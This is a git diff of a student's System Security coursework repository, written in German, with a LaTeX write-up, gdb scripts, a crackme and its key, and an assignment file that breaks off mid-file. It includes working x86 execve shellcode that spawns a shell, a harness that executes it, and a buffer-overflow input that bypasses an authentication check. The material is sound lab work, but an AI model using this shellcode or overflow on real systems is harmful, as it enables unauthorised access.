diff --git a/.gitea/workflows/build-latex.yaml b/.gitea/workflows/build-latex.yaml index 0ea7e73..397745a 100644 --- a/.gitea/workflows/build-latex.yaml +++ b/.gitea/workflows/build-latex.yaml @@ -5,16 +5,15 @@ on: workflow_dispatch: jobs: build-latex: - runs-on: debian-latest + runs-on: nixos strategy: matrix: assignment: [ - "Assignment 4 - Protokollsicherheit (Praxis)" + "Assignment 4 - Protokollsicherheit (Praxis)", + "Assignment 5 - Software Security - Teil 1" ] steps: - uses: actions/checkout@v3 - - uses: DeterminateSystems/nix-installer-action@main - - uses: DeterminateSystems/magic-nix-cache-action@main - run: "nix build .#\"${{ matrix.assignment }}\"" - uses: actions/upload-artifact@v3 with: diff --git a/Assignment 5 - Software Security - Teil 1/abgabe.tex b/Assignment 5 - Software Security - Teil 1/abgabe.tex new file mode 100644 index 0000000..08fe268 --- /dev/null +++ b/Assignment 5 - Software Security - Teil 1/abgabe.tex @@ -0,0 +1,379 @@ +\documentclass[11pt]{scrartcl} + +\usepackage[utf8]{inputenc} +\usepackage[T1]{fontenc} +\usepackage[ngerman]{babel} +\usepackage{lmodern} +\usepackage{graphicx} +\usepackage{listings} +\usepackage{xspace} +\usepackage{amsmath} +\usepackage{algorithm} +\usepackage{algpseudocode} +\usepackage{xifthen} +\usepackage{xcolor} +\usepackage{pdfpages} +\usepackage[a4paper,lmargin={2cm},rmargin={2cm},tmargin={2.5cm},bmargin = {2.5cm},headheight = {4cm}]{geometry} +\usepackage{amsmath,amssymb,amstext,amsthm} +\usepackage[shortlabels]{enumitem} +\usepackage[headsepline]{scrlayer-scrpage} +\pagestyle{scrheadings} +\usepackage{titling} +\usepackage{etoolbox} +\usepackage{tikz} + +\definecolor{keyword}{rgb}{0.0, 0.0, 1.0} +\definecolor{comment}{rgb}{0.5, 0.5, 0.5} +\definecolor{string}{rgb}{0.6, 0.1, 0.1} +\definecolor{background}{rgb}{0.95, 0.95, 0.95} + +\lstset{ + language=bash, + backgroundcolor=\color{background}, + basicstyle=\ttfamily\small, + keywordstyle=\color{keyword}\bfseries, + commentstyle=\color{comment}\itshape, + stringstyle=\color{string}, + tabsize=2, + showspaces=false, + showstringspaces=false, + frame=single, + numbers=left, + numberstyle=\tiny\color{gray}, + breaklines=true, + captionpos=b, + escapeinside={(*@}{@*)}, +} + +\usetikzlibrary{shapes, arrows, calc, automata, arrows.meta, positioning,decorations.pathmorphing,backgrounds,decorations.markings,decorations.pathreplacing, graphs} +\usetikzlibrary{matrix,shapes,arrows,positioning,chains, calc} +\usetikzlibrary{arrows.meta,matrix,shapes,arrows,positioning,chains, calc} + +\tikzset{% + initial text={}, + state/.style={circle, draw, minimum size=.6cm}, + every initial by arrow/.style={-stealth}, + every loop/.append style={-stealth}, + >=stealth +} + +\ohead{\parbox[t]{.5\linewidth}{\raggedleft \theauthor}} +\ihead{System Security, SoSe 24, Assignment \thesheetnr} + +% Sheet number +\newcounter{sheetnr} +\newcommand{\sheetnr}[1]{\setcounter{sheetnr}{#1}} + +% Exercise environments +\newenvironment{exercise}[2][]{\section*{#2\expandafter\ifstrempty\expandafter{#1}{}{\ #1}}}{} +\newenvironment{subexercises}{\begin{enumerate}[a), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}} +\newenvironment{subsubexercises}{\begin{enumerate}[i), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}} + +% Makros +% MACRO for whole diagram +% #1: total width of diagram +% #2: total height of diagram +% #3: nodes, paths, ... +\newcommand\protocolflow[3]{ +\begin{center} +\begin{tikzpicture}[x=#1cm,y=#2cm] +#3 +\end{tikzpicture} +\end{center} +} +% MACRO for path line shortening +% #1: start coordinate +% #2: target coordinate +% #3: text above arrow +\newcommand{\package}[3]{ +\path[*-{latex[width=5pt, length=5pt]}] (#1) edge node [above] {#3} (#2); +} + +% Anpassen --> % +\author{Benjamin Haschka\\Sascha Tommasone\\Paul Zinselmeyer} +\sheetnr{5} +% <-- Anpassen % +\begin{document} + +\begin{exercise}[Analyse von Binärdaten]{1} + \begin{subexercises} + \item Der Output von \texttt{objdump} mit der \texttt{secret} Funktion extrahiert. + \begin{lstlisting}[language=bash] +user@intro:~$ objdump -d intro | awk -v RS= '/^[[:xdigit:]]+ /' +0000120d : + 120d: f3 0f 1e fb endbr32 + 1211: 55 push %ebp + 1212: 89 e5 mov %esp,%ebp + 1214: 8b 45 08 mov 0x8(%ebp),%eax + 1217: 8d 50 ff lea -0x1(%eax),%edx + 121a: 89 d0 mov %edx,%eax + 121c: 01 c0 add %eax,%eax + 121e: 01 d0 add %edx,%eax + 1220: 83 c0 05 add $0x5,%eax + 1223: 5d pop %ebp + 1224: c3 ret + \end{lstlisting} + + \item Man kann durch den Command \lstinline[language=bash]{gdb -x commands} gdb mit der Datei \texttt{commands} ausgeben. + + \begin{figure}[H] + \begin{lstlisting}[] +# Lines starting with a '#' symbol are comments +# Do not remove this intial line; it will disable pagination +set pagination off + +# TODO: your commands go here +# read in the intro binary +file intro +# breakpoint at secret +break secret +# run program with paramter value 5 +r 5 +# read eax register +i r eax +stepi 6 +# after 5. instruction +i r eax +stepi +# after 6. instruction +i r eax +stepi +# after 7. instruction +i r eax +stepi +# after 8. instruction +i r eax + +# continue program to end +continue +# END of your commands + +# Do not remove the final quit; it will exit GDB automatically +quit + \end{lstlisting} + \caption[short]{Inhalt der command Datei} + \end{figure} + + Dabei wird zuerst die Datei \texttt{intro} in gdb eingelesen. + Anschließend wird ein Breakpoint bei der Funktion secret gesetzt. + Dann wird das Programm mit dem Parameter gestartet und, wie in der Aufgabe gewollt, wird das Register eax an verschiedenen Stellen ausgelesen. + Der Ausgabewert der Funktion ist dann 17. + \\ + + \begin{lstlisting}[language=bash] +user@intro:~$ gdb -x commands +GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2 +Copyright (C) 2020 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. +Type "show copying" and "show warranty" for details. +This GDB was configured as "x86_64-linux-gnu". +Type "show configuration" for configuration details. +For bug reporting instructions, please see: +. +Find the GDB manual and other documentation resources online at: + . + +For help, type "help". +Type "apropos word" to search for commands related to "word". +Breakpoint 1 at 0x120d: file intro.c, line 5. + +Breakpoint 1, secret (num=5) at intro.c:5 +5 intro.c: No such file or directory. +eax 0x5 5 +0x5655621c 6 in intro.c +eax 0x4 4 +0x5655621e 6 in intro.c +eax 0x8 8 +6 in intro.c +eax 0xc 12 +7 in intro.c +eax 0x11 17 +[Inferior 1 (process 630) exited normally] + \end{lstlisting} + + \item Für die Herleitung der Funktion werden zuerst ein paar Probewerte genommen. + + \begin{align*} + f(0) &= 2\\ + f(3) &= 11\\ + f(4) &= 14\\ + f(5) &= 17\\ + f(7) &= 23\\ + \end{align*} + + Die Funktion $f(n)$ muss eine konstante 2 haben, da $f(0) = 2$. + Anschließend gehe man davon aus, dass $f(n)$ linear sei. Dann müsste $f(n) = an + 2$ sein. + Das gilt genau dann, wenn der ggT aller Paare $(n, f(n) - 2)$ für jeden Wert gleich ist. Das gilt mit $\forall n \in \mathbb{N} : ggT(n, f(n) - 2) = 3$. + Also: + + + \begin{align*} + f(n) = 3n + 2 + \end{align*} + \newpage + \item Das Programm liefert den Output + \begin{lstlisting}[language=bash] +user@intro:~$ readelf -S intro +There are 36 section headers, starting at offset 0x413c: + +Section Headers: + [Nr] Name Type Addr Off Size ES Flg Lk Inf Al + [ 0] NULL 00000000 000000 000000 00 0 0 0 + [ 1] .interp PROGBITS 000001b4 0001b4 000013 00 A 0 0 1 + [ 2] .note.gnu.build-i NOTE 000001c8 0001c8 000024 00 A 0 0 4 + [ 3] .note.gnu.propert NOTE 000001ec 0001ec 00001c 00 A 0 0 4 + [ 4] .note.ABI-tag NOTE 00000208 000208 000020 00 A 0 0 4 + [ 5] .gnu.hash GNU_HASH 00000228 000228 000020 04 A 6 0 4 + [ 6] .dynsym DYNSYM 00000248 000248 0000a0 10 A 7 1 4 + [ 7] .dynstr STRTAB 000002e8 0002e8 0000a7 00 A 0 0 1 + [ 8] .gnu.version VERSYM 00000390 000390 000014 02 A 6 0 2 + [ 9] .gnu.version_r VERNEED 000003a4 0003a4 000030 00 A 7 1 4 + [10] .rel.dyn REL 000003d4 0003d4 000060 08 A 6 0 4 + [11] .rel.plt REL 00000434 000434 000020 08 AI 6 24 4 + [12] .init PROGBITS 00001000 001000 000024 00 AX 0 0 4 + [13] .plt PROGBITS 00001030 001030 000050 04 AX 0 0 16 + [14] .plt.got PROGBITS 00001080 001080 000010 10 AX 0 0 16 + [15] .plt.sec PROGBITS 00001090 001090 000040 10 AX 0 0 16 + [16] .text PROGBITS 000010d0 0010d0 000249 00 AX 0 0 16 + [17] .fini PROGBITS 0000131c 00131c 000018 00 AX 0 0 4 + [18] .rodata PROGBITS 00002000 002000 00001c 00 A 0 0 4 + [19] .eh_frame_hdr PROGBITS 0000201c 00201c 000054 00 A 0 0 4 + [20] .eh_frame PROGBITS 00002070 002070 00013c 00 A 0 0 4 + [21] .init_array INIT_ARRAY 00003ec8 002ec8 000004 04 WA 0 0 4 + [22] .fini_array FINI_ARRAY 00003ecc 002ecc 000004 04 WA 0 0 4 + [23] .dynamic DYNAMIC 00003ed0 002ed0 000100 08 WA 7 0 4 + [24] .got PROGBITS 00003fd0 002fd0 000030 04 WA 0 0 4 + [25] .data PROGBITS 00004000 003000 000008 00 WA 0 0 4 + [26] .bss NOBITS 00004008 003008 000004 00 WA 0 0 1 + [27] .comment PROGBITS 00000000 003008 00002b 01 MS 0 0 1 + [28] .debug_aranges PROGBITS 00000000 003033 000020 00 0 0 1 + [29] .debug_info PROGBITS 00000000 003053 000369 00 0 0 1 + [30] .debug_abbrev PROGBITS 00000000 0033bc 00011f 00 0 0 1 + [31] .debug_line PROGBITS 00000000 0034db 00010a 00 0 0 1 + [32] .debug_str PROGBITS 00000000 0035e5 0002b9 01 MS 0 0 1 + [33] .symtab SYMTAB 00000000 0038a0 0004d0 10 34 51 4 + [34] .strtab STRTAB 00000000 003d70 000271 00 0 0 1 + [35] .shstrtab STRTAB 00000000 003fe1 000158 00 0 0 1 + \end{lstlisting} + + \item Die in dem Code angegebenen Labels können wie folgt eingeteilt werden: + \begin{enumerate}[:] + \item Die statisch initialisierte Variable wird in der Section .data gespeichert. \\ + + \textbf{Grund:} + "This section holds initialized data that contribute to the program\'s memory image. This section is of type SHT\_PROGBITS. The attribute types are SHF\_ALLOC and SHF\_WRITE."\footnote[1]{Manual page elf(5)} + + \item Die statisch nicht initialisierte Variable wird in der Section .bss gespeichert. \\ + + \textbf{Grund:} + "This section holds uninitialized data that contributes to the program\'s memory image. By definition, the system initializes the data with zeros when the program begins to run. This section is of type SHT\_NOBITS. The attribute types are SHF\_ALLOC and SHF\_WRITE."\footnotemark[1] + + \item Ausführbare Code wird in der Section .text gespeichert. \\ + + \textbf{Grund:} + "This section holds the "text", or executable instructions, of a program. This section is of type SHT\_PROGBITS. The attributes used are SHF\_ALLOC and SHF\_EXECINSTR."\footnotemark[1] + + \item Lokale Variablen werden auf dem Stack gespeichert. + \item Lokale Variablen werden auf dem Stack gespeichert. + \end{enumerate} + + \end{subexercises} +\end{exercise} + +\begin{exercise}[Crackme]{2} + Die Funktion \lstinline{verify_key} leitet das Passwort aus einem geheimen Schlüssel ab, indem der ASCII-Wert jedes Zeichens, abhängig von dessen Position, verändert wird. + Dem ASCII-Wert jedes Zeichens wird der doppelte Positionswert, bei 0 startend, abgezogen. + + Die Funktion gibt den Wert \lstinline{1} zurück, falls das abgeleitete Passwort mit der konstanten Zeichenkette \lstinline{MMNNQ} übereinstimmt. + Andernfalls wird der Wert \lstinline{0} zurückgegeben. +\end{exercise} + +\begin{exercise}[System Calls und Shellcode]{3} +\begin{subexercises} +\item Ein Linux-Syscall auf der x86-Architektur ist als i386-Architektur in \lstinline{syscall(2)} der Linux Manpages spezifiziert. + Dabei wird die Zahlenkennung des Syscalls in Register eax übergeben. + Bis zu 6 Argumente können in den Registern \lstinline{ebx}, \lstinline{ecx}, \lstinline{edx}, \lstinline{esi}, \lstinline{edi} und \lstinline{ebp} übergeben werden. + Mit dem Aufruf der Instruktion \lstinline{int $0x80} wird der Syscall ausgelöst und der Syscall-Handler im Kernel durch Auslösen eines Interrupts ausgeführt. + Ausgaben des Syscalls werden in den Registern eax und edx zurückgegeben. +\end{subexercises} +\end{exercise} + +\lstset{ + language=C, + basicstyle=\ttfamily\footnotesize, + keywordstyle=\color{blue}, + commentstyle=\color{gray}, + stringstyle=\color{red}, + numbers=left, + numberstyle=\tiny\color{gray}, + stepnumber=1, + numbersep=5pt, + backgroundcolor=\color{white}, + showspaces=false, + showstringspaces=false, + showtabs=false, + frame=single, + tabsize=4, + captionpos=b, + breaklines=true, + breakatwhitespace=false, + escapeinside={\%*}{*)}, + morekeywords={uint32_t, uint16_t, uint8_t} % Add keywords here +} + +\begin{exercise}[Data-Only Attack]{4} +\begin{subexercises} + \item Im folgenden einmal die ursprüngliche und die gehärtete Funktion. + + \begin{lstlisting}[caption={check\_authentication}, label={lst:check_authentication}] +int check_authentication(char *password) { + int auth_flag = 0; + char password_buffer[12]; + + strcpy (password_buffer, password); + + if(strcmp(password_buffer, "swordfish") == 0) + auth_flag = 1; + + return auth_flag; +} + \end{lstlisting} + + \begin{lstlisting}[caption={hardened check\_authentication}, label={lst:hardened_check_authentication}] +int check_authentication(char *password) { + char x = 0, y = 0, z = 0; + char password_buffer[12]; + + strcpy(password_buffer, password); + + if(strcmp(password_buffer, "swordfish") == 0) { + x = 0x21; + y = 0x6b; + z = 0x4f; + } + + int auth_flag = 0; + + if((x == 0x21) && (y == 0x6b) && (z == 0x4f)) { + auth_flag = 1; + } + + return auth_flag; +} + \end{lstlisting} + + Die gehärtete Funktion deklariert \texttt{auth\_flag} nicht mehr als Erstes innerhalb der Funktion. Stattdessen werden zunächst drei Variablen vom Typ \texttt{char} mit dem Wert 0 initialisiert. In der IF-Abfrage, in der das Passwort mit dem String \texttt{swordfish} verglichen wird, wird bei übereinstimmendem Passwort nicht mehr direkt \texttt{auth\_flag} auf 1 gesetzt. Stattdessen erhalten die drei zuvor deklarierten Variablen spezifische Werte. Anschließend wird \texttt{auth\_flag} mit 0 initialisiert. In einer zweiten IF-Abfrage wird überprüft, ob die drei Variablen die Werte aufweisen, die sie bei korrektem Passwort haben sollten. Falls dies der Fall ist, wird \texttt{auth\_flag} auf 1 gesetzt. Zum Abschluss wird \texttt{auth\_flag} zurückgegeben. Die nicht gehärtete Funktion, setzt direkt nach dem Vergleich den Rückgabewert, falls das Passwort korrekt ist, auf 1. Danach wird dieser zurückgegeben. + + Da die 3 Variablen vor dem \texttt{password\_buffer} deklariert werden, liegen sie an einer höheren Speicheradresse im Stack. Somit überschreibt, falls der Input \texttt{char *password} einen String länger als 12 Byte enthält, die unsichere Funktion \texttt{strcpy} diese drei Variablen. Somit muss das Passwort 15 Byte lange sein (12 Byte Buffer + 3 Bytes). Die ersten zwölf Byte sorgen dafür, dass das 13. Byte die erste der drei Variablen überschreibt, etc. Somit müssen die 3 letzten Byte die Werte haben, auf die in der 2. IF-Abfrage geprüft wird, damit die \texttt{auth\_flag} auf 1 gesetzt wird. Die Endianess muss beachtet werden. Diese können mit einem Debugger einfach gefunden werden. + + \item Anbei das ausgefüllte Speicherlayout. Anbei Bilder, die unser ausgefülltes Layout bestätigen. + + Dem Bild kann entnommen werden, dass der Stack der Funktion \texttt{check\_authentication} bei \texttt{0xffffd500} startet und bis \texttt{0xffffd4e0} geht. Somit hat der Stack eine Größe von 32 (+4 Byte Parameter \texttt{@0xffffd500}), also 36 Byte. Außerdem kann dem Bild der aktuelle Stackinhalt entnommen werden. Der Stack ist keine 40 Byte groß, weshalb die Vorlage nicht genau passt und ein Speicherwort zu viel Platz ist. + + \includegraphics[width=\textwidth]{gdb.png} + \includepdf[pages=1]{h5_ss24.pdf} +\end{subexercises} +\end{exercise} +\end{document} \ No newline at end of file diff --git a/Assignment 5 - Software Security - Teil 1/analyse/.bash_history b/Assignment 5 - Software Security - Teil 1/analyse/.bash_history new file mode 100644 index 0000000..f57f853 --- /dev/null +++ b/Assignment 5 - Software Security - Teil 1/analyse/.bash_history @@ -0,0 +1,272 @@ +#1717414602 +ls +#1717414605 +cat commands +#1717415348 +clear +#1717415350 +ls +#1717415351 +ls intro +#1717415354 +./intro +#1717415361 +objdump +#1717415381 +objdump intro +#1717415420 +objdump -d intro +#1717415434 +man objdump +#1717415443 +objdump -d=secret intro +#1717415453 +objdump -d intro +#1717415900 +man objdump +#1717415917 +objdump -d -j=secret intro +#1717415921 +man objdump +#1717415972 +objdump -d -j=secret intro awk -v RS= '/^[[:xdigit:]]+ /' +#1717415994 +objdump -d intro | awk -v RS= '/^[[:xdigit:]]+ /' +#1717939441 +ls +#1717939451 +cat commands +#1717939475 +cat intro +#1717939479 +clear +#1717939481 +ls +#1717939483 +ll +#1717939485 +l +#1717939490 +ls -la +#1717939492 +ls -lh +#1717939514 +cat .bash_history +#1717939524 +objdump -d intro | awk -v RS= '/^[[:xdigit:]]+ /' +#1717939721 +task help +#1717939731 +task info +#1717939739 +task id +#1717939745 +task check +#1717939826 +man gdb +#1717939894 +gdb intro +#1717940125 +clear +#1717940125 +ls +#1717940129 +gdb intro +#1717942144 +ls +#1717942149 +nano commands +#1717942239 +task check +#1717942298 +cat commands +#1717942311 +clear +#1717942321 +man gdb +#1717942339 +nano commands +#1717942350 +man gdb +#1717942403 +gdb -x commands intro +#1717942416 +nano commands +#1717942422 +gdb -x commands intro +#1717942426 +task check +#1717942451 +gdb +#1717942499 +nano commands +#1717942514 +gdb -x commands intro +#1717942520 +task check +#1717942557 +nano commands +#1717942567 +gdb -x commands intro +#1717942582 +nano commands +#1717942590 +gdb -x commands intro +#1717942602 +task check +#1717942691 +nano commands +#1717942711 +gdb +#1717942722 +ls +#1717942726 +gdb intro +#1717942741 +gdb +#1717942836 +nano commands +#1717942847 +gdb +#1717942850 +nano commands +#1717942862 +gdb -x commands +#1717942872 +task check +#1717942885 +nano commands +#1717943082 +gdb intro +#1717943152 +nano commands +#1717943162 +gdb -x commands +#1717943164 +nano commands +#1717943179 +gdb -x commands +#1717943183 +clear +#1717943183 +ls +#1717943186 +task check +#1717943204 +nano commands +#1717943214 +task check +#1717943219 +nano commands +#1717943238 +task check +#1717943241 +task submit +#1717943604 +gdb intro +#1717943679 +objdump intro +#1717943687 +objdump -D intro +#1717943691 +objdump -d intro +#1717943870 +objdump -d intro | awk -v RS= '/^[[:xdigit:]]+ /' +#1717943884 +gdb intro +#1717944098 +gdb intro +#1717944117 +ls +#1717944130 +cp commands find_func +#1717944132 +nano find_func +#1717944188 +gdb -x find_func +#1717944202 +./intro +#1717944204 +./intro 5 +#1717944207 +./intro 6 +#1717944208 +7 +#1717944210 +./intro 7 +#1717944212 +./intro 8 +#1717944219 +clear +#1717944231 +nano find_func +#1717944240 +gdb -x find_func +#1717944295 +nano find_func +#1717944344 +gdb -x find_func +#1717944382 +nano find_func +#1717944388 +gdb -x find_func +#1717944397 +nano find_func +#1717944402 +gdb -x find_func +#1717944430 +nano find_func +#1717944440 +gdb -x find_func +#1717944470 +gdb intro +#1717944479 +readelf +#1717944487 +readelf intro +#1717944516 +readelf ßS intro +#1717944519 +readelf -S intro +#1717945558 +objdump -d intro | awk -v RS= '/^[[:xdigit:]]+ /' +#1717947140 +ls +#1717947141 +clear +#1717947141 +ls +#1717947166 +readelf -S intro +#1717948566 +ls +#1717948569 +clear +#1717948572 +readelf -S intro +#1717948913 +man 5 elf +#1717949114 +elf +#1717949128 +man 5 elf +#1717949898 +task check +#1717949902 +task info +#1717949906 +task help +#1717949922 +ls +#1717949924 +rm find_func +#1717949925 +clear +#1717949926 +ls +#1717949929 +task check +#1717950826 +ls +#1717950831 +cat commands diff --git a/Assignment 5 - Software Security - Teil 1/analyse/commands b/Assignment 5 - Software Security - Teil 1/analyse/commands new file mode 100644 index 0000000..21efafd --- /dev/null +++ b/Assignment 5 - Software Security - Teil 1/analyse/commands @@ -0,0 +1,28 @@ +# Lines starting with a '#' symbol are comments +# Do not remove this intial line; it will disable pagination +set pagination off + +file intro +break secret +# TODO: your commands go here +r 5 +i r eax +stepi 6 +# after 5. instruction +i r eax +stepi +# after 6. instruction +i r eax +stepi +# after 7. instruction +i r eax +stepi +# after 8. instruction +i r eax + +# continue program to end +continue +# END of your commands + +# Do not remove the final quit; it will exit GDB automatically +quit diff --git a/Assignment 5 - Software Security - Teil 1/analyse/intro b/Assignment 5 - Software Security - Teil 1/analyse/intro new file mode 100755 index 0000000..349ba7c Binary files /dev/null and b/Assignment 5 - Software Security - Teil 1/analyse/intro differ diff --git a/Assignment 5 - Software Security - Teil 1/crackme/Makefile b/Assignment 5 - Software Security - Teil 1/crackme/Makefile new file mode 100644 index 0000000..891daad --- /dev/null +++ b/Assignment 5 - Software Security - Teil 1/crackme/Makefile @@ -0,0 +1,4 @@ +.phony: all +all: crackme +crackme: + gcc -o crackme -m32 -O0 -fno-pie -fno-stack-protector crackme.c \ No newline at end of file diff --git a/Assignment 5 - Software Security - Teil 1/crackme/crackme b/Assignment 5 - Software Security - Teil 1/crackme/crackme new file mode 100755 index 0000000..f8b5e26 Binary files /dev/null and b/Assignment 5 - Software Security - Teil 1/crackme/crackme differ diff --git a/Assignment 5 - Software Security - Teil 1/crackme/crackme.c b/Assignment 5 - Software Security - Teil 1/crackme/crackme.c new file mode 100644 index 0000000..fc636e1 --- /dev/null +++ b/Assignment 5 - Software Security - Teil 1/crackme/crackme.c @@ -0,0 +1,44 @@ +#include +#include +#include + +// Define the length of the serial number +#define SERIAL_LENGTH 5 + +int verify_key(char *serial) { + // Allocate a buffer to store the derived key (5 capital letters + null byte) + char derived[SERIAL_LENGTH + 1] = {0}; + + // Derive the key from the serial by iterating over the serial + // and subtracting 2 times the current index from each character + for(int i = 0; i < SERIAL_LENGTH; i++) { + derived[i] = serial[i] - 2 * i; + } + + // Compare the derived key with the expected key "MMNNQ" + if(strcmp(derived, "MMNNQ") == 0) + return 1; // Return 1 if the keys match + + return 0; // Return 0 if the keys do not match +} + +int main(int argc, char **argv) { + // Buffer to store the user input (5 capital letters + null byte) + char serial[SERIAL_LENGTH + 1] = {0}; + + // Read the serial number from the user and store it in the serial buffer + printf("Enter serial (5 capital letters):\n"); + scanf("%5s", serial); + + // Verify the serial number + if(verify_key(serial)) { + // Print this message if the serial is correct + printf("Key is valid! Whoop whoop :)\n"); + } else { + // Print this message if the serial is not correct + printf("Key is not valid :(\n"); + } + + // End the program without errors + return 0; +} \ No newline at end of file diff --git a/Assignment 5 - Software Security - Teil 1/crackme/key.txt b/Assignment 5 - Software Security - Teil 1/crackme/key.txt new file mode 100644 index 0000000..2fd0c80 --- /dev/null +++ b/Assignment 5 - Software Security - Teil 1/crackme/key.txt @@ -0,0 +1 @@ +MORTY \ No newline at end of file diff --git a/Assignment 5 - Software Security - Teil 1/doa/doa b/Assignment 5 - Software Security - Teil 1/doa/doa new file mode 100755 index 0000000..0c4aae5 Binary files /dev/null and b/Assignment 5 - Software Security - Teil 1/doa/doa differ diff --git a/Assignment 5 - Software Security - Teil 1/doa/solution.txt b/Assignment 5 - Software Security - Teil 1/doa/solution.txt new file mode 100644 index 0000000..8705c33 --- /dev/null +++ b/Assignment 5 - Software Security - Teil 1/doa/solution.txt @@ -0,0 +1 @@ +AAAAAAAAAAAAOk! \ No newline at end of file diff --git a/Assignment 5 - Software Security - Teil 1/gdb.png b/Assignment 5 - Software Security - Teil 1/gdb.png new file mode 100644 index 0000000..c56078b Binary files /dev/null and b/Assignment 5 - Software Security - Teil 1/gdb.png differ diff --git a/Assignment 5 - Software Security - Teil 1/h5_ss24.pdf b/Assignment 5 - Software Security - Teil 1/h5_ss24.pdf new file mode 100644 index 0000000..d659a55 Binary files /dev/null and b/Assignment 5 - Software Security - Teil 1/h5_ss24.pdf differ diff --git a/Assignment 5 - Software Security - Teil 1/shellcode/Makefile b/Assignment 5 - Software Security - Teil 1/shellcode/Makefile new file mode 100644 index 0000000..e328bc3 --- /dev/null +++ b/Assignment 5 - Software Security - Teil 1/shellcode/Makefile @@ -0,0 +1,12 @@ +.DEFAULT_GOAL := all + +shellcode: shellcode.asm + nasm -felf32 shellcode.asm -o shellcode.o + ld -m elf_i386 shellcode.o -o shellcode + rm shellcode.o + +test: test_shellcode.c + gcc -o test_shellcode -m32 -fno-stack-protector -z execstack -fno-pie -O0 test_shellcode.c + + +all: shellcode test diff --git a/Assignment 5 - Software Security - Teil 1/shellcode/exploit b/Assignment 5 - Software Security - Teil 1/shellcode/exploit new file mode 100755 index 0000000..d67b812 --- /dev/null +++ b/Assignment 5 - Software Security - Teil 1/shellcode/exploit @@ -0,0 +1,16 @@ +#!/bin/bash + +# assemble shellcode +nasm -felf32 shellcode.asm -o x.o && ld -m elf_i386 x.o -o shellcode &> /dev/null + +# remove object file +rm x.o + +# extract shellcode and remove binary +shellcode=$(for byte in $(objdump -d ./shellcode | grep "^ " | cut -f2); do echo -n '\x'$byte; done) +rm shellcode + +# TODO place shellcode into test_shellcode.c and shellcode.asm + +# compile test_shellcode.c and execute it afterwards +gcc -o test_shellcode -m32 -fno-stack-protector -fno-pie -z execstack -O0 test_shellcode.c && ./test_shellcode diff --git a/Assignment 5 - Software Security - Teil 1/shellcode/shellcode.asm b/Assignment 5 - Software Security - Teil 1/shellcode/shellcode.asm new file mode 100644 index 0000000..8b9a9ae --- /dev/null +++ b/Assignment 5 - Software Security - Teil 1/shellcode/shellcode.asm @@ -0,0 +1,26 @@ + +; SHELLCODE: "\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80" + +section .text + global _start + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; https://rayoflightz.github.io/shellcoding/linux/x86/2018/11/15/Shellcoding-for-linux-on-x86.html ; +; https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit ; +; https://man7.org/linux/man-pages/man2/execve.2.html ; +; https://www.ascii-code.com/ ; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +_start: + xor eax, eax ; set eax to NULL without terminating the shellcode later + push eax ; push a null byte onto the stack as the string terminator + push 0x68736164 ; push the ASCII values for 'dash' onto the stack in reverse order (due to little endian) + push 0x2f2f2f2f ; push the ASCII values for '////' onto the stack in reverse order " + push 0x6e69622f ; push the ASCII values for '/bin' onto the stack in reverse order " + ; only multiples of wordsize (here 4 byte) can be pushed onto stack + ; therefore four / in the second push + mov ebx, esp ; set ebx to the address of the '/bin////dash' string (top of the stack) + mov ecx, eax ; set ecx to NULL (=> char *const _Nullable argv[] is NULL) + mov edx, eax ; set edx to NULL (=> char *const _Nullable envp[] is NULL) + mov al, 0xb ; load the syscall number for execve (11) into lowest 8 bits of eax to prevent null bytes in shellcode + int 0x80 ; trigger the kernel interrupt to execute the syscall +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; \ No newline at end of file diff --git a/Assignment 5 - Software Security - Teil 1/shellcode/test_shellcode.c b/Assignment 5 - Software Security - Teil 1/shellcode/test_shellcode.c new file mode 100644 index 0000000..2d1dae6 --- /dev/null +++ b/Assignment 5 - Software Security - Teil 1/shellcode/test_shellcode.c @@ -0,0 +1,16 @@ +#include +#include + +// gcc -o test_shellcode -m32 -fno-stack-protector -fno-pie -z execstack -O0 test_shellcode.c + +// Your shellcode goes here +char *shellcode = "\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"; +// ------------------------ + +int main() +{ + // Print length of shellcode + fprintf(stdout,"Length: %d\n",strlen(shellcode)); + // Execute shellcode + (*(void (*)()) shellcode)(); +} \ No newline at end of file diff --git a/Assignment 5 - Software Security - Teil 1/syscalling/Makefile b/Assignment 5 - Software Security - Teil 1/syscalling/Makefile new file mode 100644 index 0000000..c666796 --- /dev/null +++ b/Assignment 5 - Software Security - Teil 1/syscalling/Makefile @@ -0,0 +1,3 @@ +all: + rm -f antwort + nasm -felf32 code.asm -o antwort.o && ld -m elf_i386 antwort.o -o antwort diff --git a/Assignment 5 - Software Security - Teil 1/syscalling/code.asm b/Assignment 5 - Software Security - Teil 1/syscalling/code.asm new file mode 100644 index 0000000..374be3e --- /dev/null +++ b/Assignment 5 - Software Security - Teil 1/syscalling/code.asm @@ -0,0 +1,58 @@ +; define some macros +%define O_RDONLY 00000000o +%define O_WRONLY 00000001o +%define O_RDWR 00000002o +%define O_CREAT 00000100o +%define O_TRUNC 00001000o +%define S_IRUSR 00000400o +%define S_IWUSR 00000200o + + +section .data + path: db "/home/user/nachricht", 0 + greeting: db "hidad!", 0 + + ; https://stackoverflow.com/a/45386640 + length equ $ - greeting ; Length of greeting message + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; 